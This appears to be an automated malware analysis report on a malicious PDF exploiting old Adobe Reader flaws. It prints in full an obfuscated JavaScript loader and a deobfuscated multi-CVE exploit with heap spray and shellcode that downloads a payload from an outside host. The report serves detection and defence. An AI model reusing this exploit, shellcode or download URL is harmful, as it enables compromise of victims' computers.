Malicious PDF — malware analysis report

Static analysis result for SHA-256 cace9d189adc6cd9…

MALICIOUS

PDF

3.4 KB Created: 2010-02-11 07:23:20 Authoring application: zt6750a First seen: 2026-05-10
MD5: 8e37dd5a30465ef6d69ba4ba55700420 SHA-1: b3e03911a7b0a4f21395e9adeec6c6ac515e5be1 SHA-256: cace9d189adc6cd91ac77ea3b2a8e8481f774c6b8ddd0d9d4fb09ae791f7f108
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that exploits CVE-2009-0927 and CVE-2007-5659, specifically targeting Adobe Reader's `Collab.getIcon` and `Collab.collectEmailInfo` functions. The heuristic firings indicate that this JavaScript is used to execute arbitrary code, and a ClamAV detection on an extracted artifact (`Js.Exploit.Shellcode-18`) suggests it's a known exploit. The primary goal appears to be downloading and executing a second-stage payload, as indicated by the `legacy_pdfkit_stage_000.js` file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lucknets.com/durex/load.php?e=22 Referenced by PDF JavaScript
🗂 Part of campaign: lucknets.com 6 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0028_000.js pdf-javascript-stream PDF /JS object 28 at offset 0x88 903 bytes
SHA-256: e68e04441d66e12c8e3f504a2112780b2b6d04902bf99c22eb454906bca34ff8
Preview script
First 1,000 lines of the extracted script
function uisdya(string, offset)
	{
		var length = string.length;
		var chunk_size = offset.length;
		var ret = "";
    
		for(var i=0; i < length; i+=chunk_size) {

			var chunk = string.substr(i, chunk_size);
			if(chunk.length == chunk_size){

				for(var j in offset)
				{
					ret += chunk.substr(offset[j],1);
				}
			}
			else {
    			ret += chunk;	
			}
		}

		return ret;
	}

	var fdjklsfusdl = app;
	var fsdjkfhsk = '95d4%27cb6dee'.substr(4,1);
	var ferworweyf= fdjklsfusdl[uisdya("vlea", [2,0,3,1])];
	var rpotifgv = new RegExp("ZKU", 'agd'.substring(2,1));
	var fsdjkl = ferworweyf([uisdya("enuacs_epjbo=", [2,1,0])]+[uisdya("nuseacep", [1,0])]);
	var fsdjlkfjl = this[uisdya("niof", [1,0])][uisdya("uahtro", [1,0])];

	fsdlkfjsdlf=fsdjlkfjl[uisdya("erpalce", [1,0,2])](rpotifgv, fsdjkfhsk);
	dfjlfjsdl = fsdjkl(fsdlkfjsdlf);
	ferworweyf(dfjlfjsdl);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x451 4930 bytes
SHA-256: a5ed05998ee6c2b83a185975b507cd6d495d539ae96544639704f90442d3a634
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 8 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
app.alert(123 + ' its work!');    var nop = '';    var arry = new Array();  function fix_it(yarsp, len){    while (yarsp.length * 2 < len){      yarsp += yarsp;    }    yarsp = yarsp.substring(0, len / 2);    return yarsp;  }  var version = app.viewerVersion;  if (version > 8){    var payload = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u756C%u6B63%u656E%u7374%u632E%u6D6F%u642F%u7275%u7865%u6C2F%u616F%u2E64%u6870%u3F70%u3D65%u3232");     heapblock = nop + payload;    bigblock = unescape("%u0A0A%u0A0A");    headersize = 20;    spray = headersize + heapblock.length;    while (bigblock.length < spray)bigblock += bigblock;    fillblock = bigblock.substring(0, spray);    block = bigblock.substring(0, bigblock.length - spray);    while (block.length + spray < 0x40000)block = block + block + fillblock;    mem = new Array();    for (i = 0; i < 1400; i ++ )mem[i] = block + heapblock;    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;    util.printf("E000f", num);  }  if (version < 8){    var addkk = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u756C%u6B63%u656E%u7374%u632E%u6D6F%u642F%u7275%u7865%u6C2F%u616F%u2E64%u6870%u3F70%u3D65%u3232");    var mem_array = new Array();    var cc = 0x0c0c0c0c;    var addr = 0x400000;    var sc_len = addkk.length * 2;    var len = addr - (sc_len + 0x38);    var yarsp = unescape("%u9090%u9090");    yarsp = fix_it(yarsp, len);    var count2 = (cc - 0x400000) / addr;    for (var count = 0; count < count2; count ++ ){      mem_array[count] = yarsp + addkk;    }    var overflow = unescape("%u0c0c%u0c0c");    while (overflow.length < 44952)overflow += overflow;    this .collabStore = Collab.collectEmailInfo({      subj : "", msg : overflow    }    );  }  if (version < 9.1){    if (app.doc.Collab.getIcon){      var vvpethya = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u756C%u6B63%u656E%u7374%u632E%u6D6F%u642F%u7275%u7865%u6C2F%u616F%u2E64%u6870%u3F70%u3D65%u3232");      var hWq500CN = vvpethya.length * 2;      var len = 0x400000 - (hWq500CN + 0x38);      var yarsp = unescape("%u9090%u9090");      yarsp = fix_it(yarsp, len);      var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;      for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){        arry[vqcQD96y] = yarsp + vvpethya;      }      var tUMhNbGw = unescape("	");      while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;      tUMhNbGw = "N." + tUMhNbGw;      app.doc.Collab.getIcon(tUMhNbGw);    }  }    app.alert(123);

Open this report in the interactive analyzer, or submit your own file for analysis.